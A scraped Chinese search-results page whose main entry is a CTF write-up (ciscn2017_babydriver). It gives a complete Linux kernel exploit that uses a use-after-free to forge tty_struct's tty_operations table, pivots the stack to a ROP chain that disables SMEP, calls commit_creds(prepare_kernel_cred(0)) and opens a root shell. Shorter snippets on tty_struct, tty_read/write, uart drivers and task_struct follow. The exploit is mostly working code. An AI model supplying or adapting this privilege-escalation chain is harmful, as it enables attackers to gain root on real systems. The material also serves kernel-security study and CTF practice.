精华内容
下载资源
问答
  • Linux Kernel伪造tty_struct执行任意函数 当用户打开ptmx驱动时,会分配一个tty_struct结构,它的结构如下 structtty_struct{ intmagic; structkrefkref; structdevice*dev; structtty_driver*driver; ...

    Linux Kernel伪造tty_struct执行任意函数

    当用户打开ptmx驱动时,会分配一个tty_struct结构,它的结构如下

    1. struct tty_struct {  
    2.     int magic;  
    3.     struct kref kref;  
    4.     struct device *dev;  
    5.     struct tty_driver *driver;  
    6.     const struct tty_operations *ops;  
    7.     int index;  
    8.     /* Protects ldisc changes: Lock tty not pty */  
    9.     struct ld_semaphore ldisc_sem;  
    10.     struct tty_ldisc *ldisc;  
    11.     struct mutex atomic_write_lock;  
    12.     struct mutex legacy_mutex;  
    13.     struct mutex throttle_mutex;  
    14.     struct rw_semaphore termios_rwsem;  
    15.     struct mutex winsize_mutex;  
    16.     spinlock_t ctrl_lock;  
    17.     spinlock_t flow_lock;  
    18.     /* Termios values are protected by the termios rwsem */  
    19.     struct ktermios termios, termios_locked;  
    20.     struct termiox *termiox;    /* May be NULL for unsupported */  
    21.     char name[64];  
    22.     struct pid *pgrp;       /* Protected by ctrl lock */  
    23.     struct pid *session;  
    24.     unsigned long flags;  
    25.     int count;  
    26.     struct winsize winsize;     /* winsize_mutex */  
    27.     unsigned long stopped:1,    /* flow_lock */  
    28.               flow_stopped:1,  
    29.               unused:BITS_PER_LONG - 2;  
    30.     int hw_stopped;  
    31.     unsigned long ctrl_status:8,    /* ctrl_lock */  
    32.               packet:1,  
    33.               unused_ctrl:BITS_PER_LONG - 9;  
    34.     unsigned int receive_room;  /* Bytes free for queue */  
    35.     int flow_change;  
    36.     struct tty_struct *link;  
    37.     struct fasync_struct *fasync;  
    38.     wait_queue_head_t write_wait;  
    39.     wait_queue_head_t read_wait;  
    40.     struct work_struct hangup_work;  
    41.     void *disc_data;  
    42.     void *driver_data;  
    43.     spinlock_t files_lock;      /* protects tty_files list */  
    44.     struct list_head tty_files;  
    45. #define N_TTY_BUF_SIZE 4096  
    46.     int closing;  
    47.     unsigned char *write_buf;  
    48.     int write_cnt;  
    49.     /* If the tty has a pending do_SAK, queue it here - akpm */  
    50.     struct work_struct SAK_work;  
    51.     struct tty_port *port;  
    52. } __randomize_layout;  

    其中有一个const struct tty_operations *ops指针,它是一个tty_operations指针,而tty_operations结构体里是一些列对驱动操作的函数指针。

    1. struct tty_operations {  
    2.     struct tty_struct * (*lookup)(struct tty_driver *driver,  
    3.             struct file *filp, int idx);  
    4.     int  (*install)(struct tty_driver *driver, struct tty_struct *tty);  
    5.     void (*remove)(struct tty_driver *driver, struct tty_struct *tty);  
    6.     int  (*open)(struct tty_struct * tty, struct file * filp);  
    7.     void (*close)(struct tty_struct * tty, struct file * filp);  
    8.     void (*shutdown)(struct tty_struct *tty);  
    9.     void (*cleanup)(struct tty_struct *tty);  
    10.     int  (*write)(struct tty_struct * tty,  
    11.               const unsigned char *buf, int count);  
    12.     int  (*put_char)(struct tty_struct *tty, unsigned char ch);  
    13.     void (*flush_chars)(struct tty_struct *tty);  
    14.     int  (*write_room)(struct tty_struct *tty);  
    15.     int  (*chars_in_buffer)(struct tty_struct *tty);  
    16.     int  (*ioctl)(struct tty_struct *tty,  
    17.             unsigned int cmd, unsigned long arg);  
    18.     long (*compat_ioctl)(struct tty_struct *tty,  
    19.                  unsigned int cmd, unsigned long arg);  
    20.     void (*set_termios)(struct tty_struct *tty, struct ktermios * old);  
    21.     void (*throttle)(struct tty_struct * tty);  
    22.     void (*unthrottle)(struct tty_struct * tty);  
    23.     void (*stop)(struct tty_struct *tty);  
    24.     void (*start)(struct tty_struct *tty);  
    25.     void (*hangup)(struct tty_struct *tty);  
    26.     int (*break_ctl)(struct tty_struct *tty, int state);  
    27.     void (*flush_buffer)(struct tty_struct *tty);  
    28.     void (*set_ldisc)(struct tty_struct *tty);  
    29.     void (*wait_until_sent)(struct tty_struct *tty, int timeout);  
    30.     void (*send_xchar)(struct tty_struct *tty, char ch);  
    31.     int (*tiocmget)(struct tty_struct *tty);  
    32.     int (*tiocmset)(struct tty_struct *tty,  
    33.             unsigned int set, unsigned int clear);  
    34.     int (*resize)(struct tty_struct *tty, struct winsize *ws);  
    35.     int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);  
    36.     int (*get_icount)(struct tty_struct *tty,  
    37.                 struct serial_icounter_struct *icount);  
    38.     void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);  
    39. #ifdef CONFIG_CONSOLE_POLL  
    40.     int (*poll_init)(struct tty_driver *driver, int line, char *options);  
    41.     int (*poll_get_char)(struct tty_driver *driver, int line);  
    42.     void (*poll_put_char)(struct tty_driver *driver, int line, char ch);  
    43. #endif  
    44.     int (*proc_show)(struct seq_file *, void *);  
    45. } __randomize_layout;  

    比如,我们对ptmx驱动进行write操作时,就会调用这个里面的write指针指向的函数。也就是,我们如果能伪造tty_operations结构体,将里面的指针指向我们需要执行的函数。然后将tty_struct结构体里的const struct tty_operations *ops指针指向我们伪造的tty_operations结构体,然后对驱动执行对应的操作,比如write,就能触发函数的执行。tty_struct结构体,我们可以通过漏洞来控制,然后修改指针。这种思想,就如同是glibc下的house of orange,house of orange是伪造vtable表,而我们这里,同样是伪造函数表。为了加深理解,我们以ciscn2017_babydriver为例,之前,我们利用UAF修改了cred结构,这次,我们用同样的方法,修改tty_struct结构。

    ciscn2017_babydriver

    阅读对应版本的linux内核源码,我们发现,tty_struct结构体的大小为0x2E0。为了实现执行的目的,我们可以利用ROP,但是本题没有栈溢出,我们可以伪造tty_operations里面对应的函数的来将栈转移到我们可以控制的地方。为了清楚对应的函数被调用前的各个寄存器的值,以方便我们后续的分析,我们先将tty_operations[7]伪造为babydriver里的babyread函数的地址。查看结构体,tty_operations[7]也就是对驱动进行write操作时的处理函数的指针。我们现在把它伪造指向了babyread,然后利用gdb调试,对ptmx驱动执行write操作,在babyread函数前断点。

    1. for (int i=0;i<35;i++) {  
    2.    fake_tty_operations[i] = 0xffffffffc0000000 + i;  
    3. }  
    4. fake_tty_operations[7] = 0xffffffffc0000130;  //babyread的函数地址

    然后,执行exp,在babyread下断了下来,我们查看各个寄存器的值,发现rax正好指向我们的fake_tty_operations,

    因此,我们只需要把fake_tty_operations[7]伪造成gadgets

    1. mov rsp,rax;  
    2. ...........  
    3. ret  

    这样,我们对驱动执行write操作时,就能够将栈转移到我们用户的fake_tty_operations空间里,我们在这里面再布置一个栈转移的gadgets,将栈最终转移到我们的rop数组里,执行rop。

    完成这些以后,就是常规ROP操作了。我们最终的exploit.c程序

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    
    //tty_struct结构体的大小
    #define TTY_STRUCT_SIZE 0x2E0
    //mov cr4, rdi ; pop rbp ; ret
    #define MOV_CR4_RDI 0xffffffff81004d80
    //pop rdi ; ret
    #define POP_RDI 0xffffffff810d238d
    //swapgs ; pop rbp ; ret
    #define SWAPGS 0xffffffff81063694
    //iretq
    #define IRETQ 0xFFFFFFFF8181A797
    //commit_creds函数
    #define COMMIT_CREDS 0xffffffff810a1420
    // prepare_kernel_cred
    #define PREPARE_KERNEL_CRED 0xffffffff810a1810
    //mov rsp, rax;dec ebx;ret,做栈迁移用
    #define MOV_RSP_RAX 0xFFFFFFFF8181BFC5
    #define POP_RAX 0xffffffff8100ce6e
    
    void getRoot() {
       //函数指针
       void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
       void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
       //commit_creds(prepare_kernel_cred(0))
       (*cc)((*pkc)(0));
    }
    
    void getShell() {
       if (getuid() == 0) {
          printf("[+]Rooted!!\n");
          system("/bin/sh");
       } else {
          printf("[+]Root Fail!!\n");
       }
    }
    
    size_t user_cs,user_ss,user_flags,user_sp;
    
    /*保存用户态的寄存器到变量里*/
    void saveUserState() {
       __asm__("mov %cs,user_cs;"
               "mov %ss,user_ss;"
               "mov %rsp,user_sp;"
               "pushf;"
               "pop user_flags;"
               );
      puts("user states have been saved!!");
    }
    
    int main() {
       //保存用户态寄存器
       saveUserState();
       int fd1 = open("/dev/babydev",O_RDWR);
       int fd2 = open("/dev/babydev",O_RDWR);
       if (fd1 < 0 || fd2 < 0) {
          printf("open file error!!\n");
          exit(-1);
       }
       //申请一个tty_struct大小的堆
       ioctl(fd1,0x10001,TTY_STRUCT_SIZE);
       //释放这个堆
       close(fd1);
       size_t rop[0x100];
       int i = 0;
       rop[i++] = POP_RDI;
       rop[i++] = 0x6f0;
       rop[i++] = MOV_CR4_RDI;
       rop[i++] = 0;
       rop[i++] = (size_t)getRoot;
       rop[i++] = SWAPGS;
       rop[i++] = 0;
       rop[i++] = IRETQ;
       rop[i++] = (size_t)getShell;
       rop[i++] = user_cs;
       rop[i++] = user_flags;
       rop[i++] = user_sp;
       rop[i++] = user_ss;
    
       size_t fake_tty_operations[35];
       /*for (int i=0;i<35;i++) {
          fake_tty_operations[i] = 0xffffffffc0000000 + i;
       }*/
       //这个位置是write函数的指针,经过调试,我们发现当调用这个函数时,rax正好是fake_tty_operation的地址,于是,我们把栈转移到
       //fake_tty_operations里
       fake_tty_operations[7] = MOV_RSP_RAX;
       //栈转移到fake_tty_operations里后,我们继续做一次转移,把转转移到我们的rop数组里,执行ROP
       fake_tty_operations[0] = POP_RAX;
       fake_tty_operations[1] = (size_t)rop;
       fake_tty_operations[2] = MOV_RSP_RAX;
    
       size_t fake_tty_struct[4];
       //这个操作会申请tty_struct的空间,也就是会申请到我们之前释放的那个堆里,我们可以用fd2来对它操作
       int fd_tty = open("/dev/ptmx", O_RDWR);
       //我们先把原始的tty_struct前面的数据读出来,存储
       read(fd2,fake_tty_struct,4*8);
       //修改const struct tty_operations *ops;指针,指向我们伪造的tty_operations
       fake_tty_struct[3] = (size_t)fake_tty_operations;
       //把篡改过的tty_struct写回去
       write(fd2,fake_tty_struct,4*8);
       char buf[0x10];
       write(fd_tty,buf,0x10);
       return 0;
    }
    

    展开全文
  • tty_struct数据结构

    千次阅读 2014-04-18 17:22:46
    tty_driver是在驱动中通过alloc_tty_driver函数分配的,这个进一步调用kzalloc来申请内存,...因为到时候open的时候,会初始化tty_struct,而tty_struct中的部分值是根据tty_driver中的flags来初始化的! str

    tty_driver是在驱动中通过alloc_tty_driver函数分配的,这个进一步调用kzalloc来申请内存,所以分配到的内存都是已经初始化为0的了。

    所以tty_driver中的flags等未被赋值的都是0。这里需要注意!

    因为到时候open的时候,会初始化tty_struct,而tty_struct中的部分值是根据tty_driver中的flags来初始化的!


    struct tty_struct {
    	int	magic;
    	struct kref kref;
    	struct device *dev;
    	struct tty_driver *driver;
    	const struct tty_operations *ops;
    	int index;
    
    	/* Protects ldisc changes: Lock tty not pty */
    	struct mutex ldisc_mutex;
    	struct tty_ldisc *ldisc;
    
    	struct mutex termios_mutex;
    	spinlock_t ctrl_lock;
    	/* Termios values are protected by the termios mutex */
    	struct ktermios *termios, *termios_locked;
    	struct termiox *termiox;	/* May be NULL for unsupported */
    	char name[64];
    	struct pid *pgrp;		/* Protected by ctrl lock */
    	struct pid *session;
    	unsigned long flags;
    	int count;
    	struct winsize winsize;		/* termios mutex */
    	unsigned char stopped:1, hw_stopped:1, flow_stopped:1, packet:1; 
            stopped:tty的活动状态,stop_tty中赋1,start_tty中置0
    	unsigned char low_latency:1, warned:1, peer_stops:1;
    	unsigned char ctrl_status;	/* ctrl_lock */
    	unsigned int receive_room;	/* Bytes free for queue */
    
    	struct tty_struct *link;
    	struct fasync_struct *fasync;
    	struct tty_bufhead buf;		/* Locked internally */
    	int alt_speed;		/* For magic substitution of 38400 bps */
    	wait_queue_head_t write_wait;
    	wait_queue_head_t read_wait;
    	struct work_struct hangup_work;
    	void *disc_data;
    	void *driver_data;
    	struct list_head tty_files;
    
    #define N_TTY_BUF_SIZE 4096
    
    	/*
    	 * The following is data for the N_TTY line discipline.  For
    	 * historical reasons, this is included in the tty structure.
    	 * Mostly locked by the BKL.
    	 */
    	unsigned int column;
    	unsigned char lnext:1, erasing:1, raw:1, real_raw:1, icanon:1;
            raw:在n_tty_set_termios函数中根据tty_driver->termios.c_iflag等值初始化
            real_raw:当tty_driver->flags中设置为TTY_DRIVER_REAL_RAW时置1
            icanon:在tty_open函数中会调用到n_tty_set_termios,然后根据tty_driver->tty_drv->init_termios.c_lflag的值初始化icanon
    	unsigned char echo_overrun:1;
    	unsigned short minimum_to_wake;
    	unsigned long overrun_time;
    	int num_overrun;
    	unsigned long process_char_map[256/(8*sizeof(unsigned long))];
    	char *read_buf;
            存放驱动上传数据的buf首地址。
            int read_head;
    	int read_tail;
    	int read_cnt;
            read_buf中当前存放的数据字节数,在n_tty_receive_buf函数接收时增加,在copy_from_read_buf函数中读走后减小。
            unsigned long read_flags[N_TTY_BUF_SIZE/(8*sizeof(unsigned long))];
    	unsigned char *echo_buf;
    	unsigned int echo_pos;
    	unsigned int echo_cnt;
     	int canon_data;
    	unsigned long canon_head;
    	unsigned int canon_column;
    	struct mutex atomic_read_lock;
     	struct mutex atomic_write_lock;
    	struct mutex output_lock;
    	struct mutex echo_lock;
    	unsigned char *write_buf;
    	int write_cnt;
    	spinlock_t read_lock;
    	/* If the tty has a pending do_SAK, queue it here - akpm */
    	struct work_struct SAK_work;
    	struct tty_port *port;
    };
    
    
    
    


    展开全文
  • TTYstruct tty_ldisc

    2017-03-10 08:56:13
    struct tty_ldisc {  struct tty_ldisc_ops *ops;  struct tty_struct *tty; };struct tty_ldisc_ops {  int magic;  char *name;  int num;  int flags; /*  * The following routines are called from...
     

    struct tty_ldisc {  struct tty_ldisc_ops *ops;  struct tty_struct *tty; };

    struct tty_ldisc_ops {  int magic;  char *name;  int num;  int flags;

     /*   * The following routines are called from above.   */  int (*open)(struct tty_struct *);  void (*close)(struct tty_struct *);  void (*flush_buffer)(struct tty_struct *tty);  ssize_t (*read)(struct tty_struct *tty, struct file *file,    unsigned char __user *buf, size_t nr);  ssize_t (*write)(struct tty_struct *tty, struct file *file,     const unsigned char *buf, size_t nr);  int (*ioctl)(struct tty_struct *tty, struct file *file,     unsigned int cmd, unsigned long arg);  long (*compat_ioctl)(struct tty_struct *tty, struct file *file,     unsigned int cmd, unsigned long arg);  void (*set_termios)(struct tty_struct *tty, struct ktermios *old);  unsigned int (*poll)(struct tty_struct *, struct file *,         struct poll_table_struct *);  int (*hangup)(struct tty_struct *tty);

     /*   * The following routines are called from below.   */  void (*receive_buf)(struct tty_struct *, const unsigned char *cp,           char *fp, int count);  void (*write_wakeup)(struct tty_struct *);  void (*dcd_change)(struct tty_struct *, unsigned int);  int (*receive_buf2)(struct tty_struct *, const unsigned char *cp,     char *fp, int count);

     struct  module *owner;

     int refcount; };

     
    展开全文
  • tty_read和tty_write

    2019-01-29 17:36:48
    一、tty_read 对于tty_read这个函数,很多标志我也没有弄得太清楚,但是问题不大,以后有机会在看。我觉得重点是看数据怎么从...static ssize_t tty_read(struct file *file, char __user *buf, size_t count,  ...

    一、tty_read

    对于tty_read这个函数,很多标志我也没有弄得太清楚,但是问题不大,以后有机会在看。我觉得重点是看数据怎么从cdc驱动到通过线路规划到tty,再从tty到用户空间。标志位等东西都是为这一个数据的流程服务的。

    static ssize_t tty_read(struct file *file, char __user *buf, size_t count,
                loff_t *ppos)
    {
        ld = tty_ldisc_ref_wait(tty);
        if (ld->ops->read)
            i = (ld->ops->read)(tty, file, buf, count);
        else
            i = -EIO;
        tty_ldisc_deref(ld);
    
    }

    第4行,tty_ldisc_ref_wait获取到ld,这个是open中设置好的线路规划操作函数集。

    第6行,利用函数集中的read夺取数据,这个read对应的是n_tty_read。

    第9行,唤醒其他的等待获取ld的tty_ldisc_ref_wait

    static ssize_t n_tty_read(struct tty_struct *tty, struct file *file,
    			 unsigned char __user *buf, size_t nr)
    {
    	while (nr) {
    
    		if (!input_available_p(tty, 0)) {}
    
    		if (ldata->icanon && !L_EXTPROC(tty)) {
    			while (nr && ldata->read_cnt) {
    				c = ldata->read_buf[ldata->read_tail];
    				ldata->read_tail = ((ldata->read_tail+1) &
    						  (N_TTY_BUF_SIZE-1));
    				ldata->read_cnt--;
    				if (tty_put_user(tty, c, b++)) 
    					nr--;
    			}
    		} else {
    			uncopied = copy_from_read_buf(tty, &b, &nr);
    			uncopied += copy_from_read_buf(tty, &b, &nr);
    		}
    	}
    
    	return retval;
    }

    1、input_available_p这个函数中调用了tty_flush_to_ldisc(tty)这个是利用队列将cdc中的数据存储到线路规划的缓存中,后面在具体分析。

    2、接下来很长一段代码都是从线路规划的read_buf中读取数据,并送到用户空间,分为两种方式,一是一个一个的读取缓存中的数据,一个是整个的读取出来。

    看到这里我们只能在代码中寻找哪里给read_buf赋值了,我们再看看cdc的中断,看看数据怎么从cdc驱动中送到线路规划中

    acm_read_bulk_callback
        acm_process_read_urb(acm, urb)
            tty_insert_flip_string(&acm->port, urb->transfer_buffer,urb->actual_length)
                tty_insert_flip_string_fixed_flag(port, chars, TTY_NORMAL, size)
            tty_flip_buffer_push(&acm->port);

    这里是cdc的回掉,这里有一部分数据的流动过程。

    int tty_insert_flip_string_fixed_flag(struct tty_port *port,
    		const unsigned char *chars, char flag, size_t size)
    {
    	int copied = 0;
    	do {
    		int goal = min_t(size_t, size - copied, TTY_BUFFER_PAGE);
    		int space = tty_buffer_request_room(port, goal);
    		struct tty_buffer *tb = port->buf.tail;
    		/* If there is no space then tb may be NULL */
    		if (unlikely(space == 0)) {
    			break;
    		}
    		memcpy(tb->char_buf_ptr + tb->used, chars, space);
    		memset(tb->flag_buf_ptr + tb->used, flag, space);
    		tb->used += space;
    		copied += space;
    		chars += space;
    		/* There is a small chance that we need to split the data over
    		   several buffers. If this is the case we must loop */
    	} while (unlikely(size > copied));
    	return copied;
    }

    从这个函数是把cdc回掉中的数据存储到对应port的buf.tail的buf中。

    void tty_flip_buffer_push(struct tty_port *port)
    {
    	struct tty_bufhead *buf = &port->buf;
    	unsigned long flags;
    
    	spin_lock_irqsave(&buf->lock, flags);
    	if (buf->tail != NULL)
    		buf->tail->commit = buf->tail->used;
    	spin_unlock_irqrestore(&buf->lock, flags);
    
    	if (port->low_latency)
    		flush_to_ldisc(&buf->work);
    	else
    		schedule_work(&buf->work);
    }

    这里可以直接调用flush_to_ldisc处理数据后者使用队列来处理数据。buf->work的处理函数就是flush_to_ldisc。

    static void flush_to_ldisc(struct work_struct *work)
    {
    	struct tty_port *port = container_of(work, struct tty_port, buf.work);
    	struct tty_bufhead *buf = &port->buf;
    	struct tty_struct *tty;
    	unsigned long 	flags;
    	struct tty_ldisc *disc;
    
    	tty = port->itty;
    	if (tty == NULL)
    		return;
    
    	disc = tty_ldisc_ref(tty);
    	if (disc == NULL)	/*  !TTY_LDISC */
    		return;
    
    	spin_lock_irqsave(&buf->lock, flags);
    
    	if (!test_and_set_bit(TTYP_FLUSHING, &port->iflags)) {
    		struct tty_buffer *head;
    		while ((head = buf->head) != NULL) {
    			int count;
    			char *char_buf;
    			unsigned char *flag_buf;
    
    			count = head->commit - head->read;
    			if (!count) {
    				if (head->next == NULL)
    					break;
    				buf->head = head->next;
    				tty_buffer_free(port, head);
    				continue;
    			}
    			if (!tty->receive_room)
    				break;
    			if (count > tty->receive_room)
    				count = tty->receive_room;
    			char_buf = head->char_buf_ptr + head->read;
    			flag_buf = head->flag_buf_ptr + head->read;
    			head->read += count;
    			spin_unlock_irqrestore(&buf->lock, flags);
    			disc->ops->receive_buf(tty, char_buf,
    							flag_buf, count);
    			spin_lock_irqsave(&buf->lock, flags);
    			/* Ldisc or user is trying to flush the buffers.
    			   We may have a deferred request to flush the
    			   input buffer, if so pull the chain under the lock
    			   and empty the queue */
    			if (test_bit(TTYP_FLUSHPENDING, &port->iflags)) {
    				__tty_buffer_flush(port);
    				clear_bit(TTYP_FLUSHPENDING, &port->iflags);
    				wake_up(&tty->read_wait);
    				break;
    			}
    		}
    		clear_bit(TTYP_FLUSHING, &port->iflags);
    	}
    
    	spin_unlock_irqrestore(&buf->lock, flags);
    
    	tty_ldisc_deref(disc);
    }

    这个就是调用 disc->ops->receive_buf来处理port->buf中的数据

    static void n_tty_receive_buf(struct tty_struct *tty, const unsigned char *cp,
    			      char *fp, int count)
    {
    	struct n_tty_data *ldata = tty->disc_data;
    	const unsigned char *p;
    	char *f, flags = TTY_NORMAL;
    	int	i;
    	char	buf[64];
    	unsigned long cpuflags;
    
    	if (ldata->real_raw) {
    		raw_spin_lock_irqsave(&ldata->read_lock, cpuflags);
    		i = min(N_TTY_BUF_SIZE - ldata->read_cnt,
    			N_TTY_BUF_SIZE - ldata->read_head);
    		i = min(count, i);
    		memcpy(ldata->read_buf + ldata->read_head, cp, i);
    		ldata->read_head = (ldata->read_head + i) & (N_TTY_BUF_SIZE-1);
    		ldata->read_cnt += i;
    		cp += i;
    		count -= i;
    
    		i = min(N_TTY_BUF_SIZE - ldata->read_cnt,
    			N_TTY_BUF_SIZE - ldata->read_head);
    		i = min(count, i);
    		memcpy(ldata->read_buf + ldata->read_head, cp, i);
    		ldata->read_head = (ldata->read_head + i) & (N_TTY_BUF_SIZE-1);
    		ldata->read_cnt += i;
    		raw_spin_unlock_irqrestore(&ldata->read_lock, cpuflags);
    	} else {
    		for (i = count, p = cp, f = fp; i; i--, p++) {
    			if (f)
    				flags = *f++;
    			switch (flags) {
    			case TTY_NORMAL:
    				n_tty_receive_char(tty, *p);
    				break;
    			case TTY_BREAK:
    				n_tty_receive_break(tty);
    				break;
    			case TTY_PARITY:
    			case TTY_FRAME:
    				n_tty_receive_parity_error(tty, *p);
    				break;
    			case TTY_OVERRUN:
    				n_tty_receive_overrun(tty);
    				break;
    			default:
    				printk(KERN_ERR "%s: unknown flag %d\n",
    				       tty_name(tty, buf), flags);
    				break;
    			}
    		}
    		if (tty->ops->flush_chars)
    			tty->ops->flush_chars(tty);
    	}
    
    	n_tty_set_room(tty);
    
    	if ((!ldata->icanon && (ldata->read_cnt >= tty->minimum_to_wake)) ||
    		L_EXTPROC(tty)) {
    		kill_fasync(&tty->fasync, SIGIO, POLL_IN);
    		if (waitqueue_active(&tty->read_wait))
    			wake_up_interruptible(&tty->read_wait);
    	}
    
    	/*
    	 * Check the remaining room for the input canonicalization
    	 * mode.  We don't want to throttle the driver if we're in
    	 * canonical mode and don't have a newline yet!
    	 */
    	while (1) {
    		tty_set_flow_change(tty, TTY_THROTTLE_SAFE);
    		if (tty->receive_room >= TTY_THRESHOLD_THROTTLE)
    			break;
    		if (!tty_throttle_safe(tty))
    			break;
    	}
    	__tty_set_flow_change(tty, 0);
    }

    我的记得open的时候说这个数据是不处理的,所以走上面直接复制的分支。

    所以我们可以看到数据的整个流程是这样的,cdc的callback把数据存储到port的buf中,再到线路规划的read_buf,在送到用户空间,跟这个线索,其他的部分可以碰到具体问题时在分析。

     

    二、tty_write

    tty_write
        do_tty_write(ld->ops->write, tty, file, buf, count);
            write(tty, file, tty->write_buf, size)//这个write就是上面的ld->ops->write, tty
               n_tty_write
                   tty->ops->write(tty, b, nr);
                        acm_tty_write

    write比较简单基本就这样

    展开全文
  • TTYstruct tty_buffer

    2017-03-10 08:55:22
    struct tty_buffer {  union {  struct tty_buffer *next;  struct llist_node free;  };  int used;  int size;  int commit;  int read;  int flags;  /* Data points here */  unsigned long data[0
  • struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct inode *inode, int idx); //返回对应的tty设备, 若为NULL则返回ERR_PTR, 在tty_mutex函数中调用 ...
  • 一、uart&tty驱动

    2021-08-09 19:00:22
    文件路径:\linux_IMX6_CoreC_3.0.35_for_Linux\drivers\tty\serial\imx.c 1.驱动入口函数:imx_serial_init() 1.1 static int __init imx_serial_init(void) ret = uart_register_driver(&imx_reg); //驱动加载...
  • static ssize_t read_chan(struct tty_struct *tty, struct file *file,  unsigned char __user *buf, size_t nr) {  unsigned char __user *b = buf;  DECLARE_WAITQUEUE(wait, current); //声明等待...
  • struct tty_driver 中的 init_termios 变量是一个 struct termios. 这个变量被用来提供一个健全的线路设置集合, 如果这个端口在被用户初始化前使用. 驱动初始化这个变量使用一个标准的数值集, 它拷贝自 tty_std_...
  •   在Linux系统中,终端是一种字符型设备,它有多种类型,通常使用tty来简称各种类型的终端设备。tty是Teletype的缩写,Teletype是最早出现的一种终端设备,很像电传打字机,是由Teletype公司生产的。   Linux中...
  • 接上一篇,我们已经注册了一个tty设备驱动并且在/dev生成相应的设备节点,我们对...static const struct file_operations tty_fops = { .llseek = no_llseek, .read = tty_read, .write = tty_write, .poll ...
  • 1. struct tty_operations struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct inode *inode, int idx); int (*install)(struct tty_driver *driver, struct tty_str....
  • 在 linux 中每一个进程都由 task_struct 数据结构来定义 task_struct 就是 PCB。是对进程控制的唯一手段也是最有效的手段 当我们调用 fork() 时, 系统会为我们产生一个 task_struct 结构,然后从父进程那里继承...
  • 本章主要介绍tty字符设备文件对应的操作接口,从而说明tty设备的数据打开、关闭、读、写等接口的实现等内容。 tyy file_operations定义 tty字符设备文件操作接口的定义如下,主要包括tty_fops、console_fops...
  • 【Linux kernel】 task_struct解析 1.首先什么是进程? 1.1进程可以这样描述: 1.2进程的两个基本元素 1.3这里再明确以下几点: 2.进程的描述 3.剖析task_struct结构体 (1)进程的状态(volatile long state...
  • 在上一章我们主要介绍了tty子系统的软件架构,并简要说明了数据结构间的关系,本...struct tty_file_private struct file struct tty_struct struct tty_driver struct tty_operations struct tty_ldisc struct tty...
  • tty驱动注册

    2019-01-16 22:13:40
    文章是作为笔记,可能有的地方理解不对。 1、注册tty设备驱动 ...static struct tty_driver *acm_tty_driver; acm_tty_driver = alloc_tty_driver(ACM_TTY_MINORS); acm_tty_driver-&gt;drive...
  • Linux_at91——tty_driver.h

    2018-03-09 10:27:34
    #ifndef _LINUX_TTY_DRIVER_H#define _LINUX_TTY_DRIVER_H/* * This structure defines the interface between the low-level tty * driver and the tty routines. The following routines can be * defined; ...
  • 进程是处于执行期的程序以及它所管理的资源(如...Linux内核通过一个被称为进程描述符的task_struct结构体来管理进程,这个结构体包含了一个进程所需的所有信息。它定义在include/linux/sched.h文件中。 谈到task_s
  • (13) struct tty_struct *tty; //指向进程所在的显示终端的信息。如果进程不需要显示终端,如0号进程,则该指针为空。结构定义在include/linux/tty.h中。 (14) struct wait_queue *wait_chldexit; //在进程...
  • 前言 在虚拟内存中,我提到了linux虚拟内存区域的结构,但具体其是如何在linux中表示与实现的呢? 我利用了linux2.6的源码进行了浅显的分析。...struct task_struct { //表示进程当前运行状态 //volatile避免...
  • task_struct的定义及注释

    千次阅读 2018-08-15 17:20:38
    struct task_struct { volatile long state; //说明了该进程是否可以执行,还是可中断等信息 unsigned long flags; //Flage 是进程号,在调用fork()时给出 int sigpending; //进程上是否有待处理的信号 mm_segment_t ...
  • 串口的open操作(tty_open)

    万次阅读 2012-08-23 00:00:38
    那接下来uart的操作是如何进行的呢? 操作硬件之前都是要先open设备,先来分析下这里的open...应用层通过open系统调用open(“/dev/s3c2410_serial0”,)一层一层调用到会调用到tty_open。 因为串口在linux下是作为t
  • fs_struct

    2019-10-26 08:26:37
    fs_struct struct fs_struct { int users; spinlock_t lock; seqcount_t seq; int umask; int in_exec; struct path root, pwd; } __randomize_layout; path struct path { struct vfsmount *mnt; struct d...
  • Linux 下串口驱动头文件之tty_driver.h

    千次阅读 2010-03-28 11:52:00
    #ifndef _LINUX_TTY_DRIVER_H#define _LINUX_TTY_DRIVER_H/* * This structure defines the interface between the low-level tty * driver and the tty routines. The following routines can be * define
  • 浅析Linux下的task_struct结构体

    万次阅读 多人点赞 2017-01-19 23:20:12
    本文的重点是剖析task_struct,在这之前我们需要先了解一下进程的概念和Linux下进程控制块PCB。 1.首先什么是进程? 1.1进程可以这样描述:1>进程是程序的一个执行实例;  2>进程是正在执行的程序;  3>进程是能...
  • task_struct 结构如何查看及分析

    千次阅读 2018-11-05 12:45:15
    static inline struct thread_info *alloc_thread_info(struct task_struct *tsk) { #ifdef CONFIG_DEBUG_STACK_USAGE gfp_t mask = GFP_KERNEL | __GFP_ZERO; #else gfp_t mask = GFP_KERNEL; #endif return...
  • task_struct结构体查找

    千次阅读 2018-07-18 10:02:38
    网上有很多解析task_struct结构体的文章,可是都没有说这个结构体到底在哪里? 这个结构体位于头文件 shced.h cd / find -name sched.h 显示结果如下 注意只有 位于内核中的include 才是正确的。 /usr/...
  • 进程以及task_struct结构体

    千次阅读 2017-04-15 17:04:21
    task_struct的数据成员mm指向关于存储管理的mm_struct结构。其中包含了一个虚存队列 mmap,指向由若干vm_area_struct描述的虚存块。同时,为了加快访问速度,mm中的mmap_avl维护了一个AVL树。在树中,所有的...
  • linux下task_struct结构体的位置及内容

    千次阅读 2019-05-14 18:11:59
    要查看内容可直接用vim打开,使用“/task_struct”进行查询,“n”键搜索下一个 内容: struct task_struct { 1258 volatile long state ; /* -1 unrunnable, 0 runnable, >0 stopped */ 1259 ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 18,075
精华内容 7,230
关键字:

tty_struct